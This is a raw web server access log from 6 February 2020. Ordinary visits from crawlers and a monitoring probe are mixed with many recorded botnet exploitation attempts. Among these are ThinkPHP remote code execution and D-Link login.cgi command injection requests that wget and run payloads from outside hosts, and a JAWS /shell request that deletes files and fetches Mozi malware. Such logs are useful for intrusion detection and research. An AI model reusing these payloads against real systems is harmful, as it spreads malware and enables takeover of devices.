113.22.123.133 - - [06/Feb/2020:05:22:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.132.161 - - [06/Feb/2020:05:29:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.170 - - [06/Feb/2020:05:39:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
138.36.189.89 - - [06/Feb/2020:05:43:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.117.130.254 - - [06/Feb/2020:05:44:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
27.216.245.215 - - [06/Feb/2020:05:44:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
186.226.246.74 - - [06/Feb/2020:05:45:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.117.36.21 - - [06/Feb/2020:05:46:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
194.143.250.130 - - [06/Feb/2020:05:47:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
188.19.13.56 - - [06/Feb/2020:05:47:28 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
201.184.40.61 - - [06/Feb/2020:05:48:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
141.8.189.150 - - [06/Feb/2020:05:52:23 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
141.8.189.150 - - [06/Feb/2020:05:52:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)"
46.119.171.190 - - [06/Feb/2020:05:52:56 +0100] "GET / HTTP/1.1" 200 1229 "https://ligastavok-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [06/Feb/2020:05:52:56 +0100] "GET / HTTP/1.1" 200 1229 "https://ligastavok-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
46.119.171.190 - - [06/Feb/2020:05:52:56 +0100] "GET / HTTP/1.1" 200 1229 "https://ligastavok-in.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; KKman2.0)"
2.132.212.236 - - [06/Feb/2020:05:54:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.132.66.14 - - [06/Feb/2020:05:54:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.68.116.119 - - [06/Feb/2020:05:54:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.6.58.149 - - [06/Feb/2020:05:55:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.9.148.211 - - [06/Feb/2020:06:04:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.113.18.208 - - [06/Feb/2020:06:04:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
94.50.26.198 - - [06/Feb/2020:06:07:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.182.191 - - [06/Feb/2020:06:10:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
80.26.154.92 - - [06/Feb/2020:06:11:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
95.168.227.113 - - [06/Feb/2020:06:13:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
93.152.165.125 - - [06/Feb/2020:06:14:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
114.32.47.212 - - [06/Feb/2020:06:22:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
193.57.40.38 - - [06/Feb/2020:06:26:47 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:06:26:47 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:06:26:47 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:06:26:47 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
193.57.40.38 - - [06/Feb/2020:06:26:48 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
90.84.192.75 - - [06/Feb/2020:06:27:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.223.105.201 - - [06/Feb/2020:06:29:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
87.17.150.84 - - [06/Feb/2020:06:29:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
77.42.125.36 - - [06/Feb/2020:06:31:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
176.231.119.29 - - [06/Feb/2020:06:33:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.23.134 - - [06/Feb/2020:06:33:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
209.159.154.190 - - [06/Feb/2020:06:34:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
179.43.169.182 - - [06/Feb/2020:06:36:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
128.14.134.170 - - [06/Feb/2020:06:38:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
114.32.52.174 - - [06/Feb/2020:06:39:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
113.23.40.252 - - [06/Feb/2020:06:40:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.114.116.126 - - [06/Feb/2020:06:40:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
37.57.65.140 - - [06/Feb/2020:06:42:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
118.69.26.25 - - [06/Feb/2020:06:44:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.44.176.6 - - [06/Feb/2020:06:45:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
49.228.6.144 - - [06/Feb/2020:06:49:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.72 - - [06/Feb/2020:06:51:28 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
183.80.15.220 - - [06/Feb/2020:06:52:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.134.189.37 - - [06/Feb/2020:06:54:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
167.71.181.16 - - [06/Feb/2020:06:57:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.224.78 - - [06/Feb/2020:07:00:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
49.89.124.222 - - [06/Feb/2020:07:04:05 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://49.89.124.222:44264/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
113.22.191.253 - - [06/Feb/2020:07:04:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
117.5.212.211 - - [06/Feb/2020:07:04:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.51.57 - - [06/Feb/2020:07:05:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.19.255.25 - - [06/Feb/2020:07:08:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [06/Feb/2020:07:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.31.110.19 - - [06/Feb/2020:07:08:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [06/Feb/2020:07:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.172.1 - - [06/Feb/2020:07:09:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.46.20 - - [06/Feb/2020:07:10:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.186.76.23 - - [06/Feb/2020:07:11:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.115.52 - - [06/Feb/2020:07:19:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.158.42.126 - - [06/Feb/2020:07:20:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.131.123 - - [06/Feb/2020:07:20:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.93.149 - - [06/Feb/2020:07:23:16 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [06/Feb/2020:07:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.32.154 - - [06/Feb/2020:07:29:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.163.255.9 - - [06/Feb/2020:07:30:13 +0100] "GET /robots.txt HTTP/1.0" 404 330 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
83.219.136.138 - - [06/Feb/2020:07:30:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.163.255.5 - - [06/Feb/2020:07:30:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
212.91.246.72 - - [06/Feb/2020:07:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
64.225.15.75 - - [06/Feb/2020:07:33:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.171.218 - - [06/Feb/2020:07:33:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [06/Feb/2020:07:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.14.153 - - [06/Feb/2020:07:38:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.53.86.252 - - [06/Feb/2020:07:39:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.11.247.30 - - [06/Feb/2020:07:39:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [06/Feb/2020:07:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
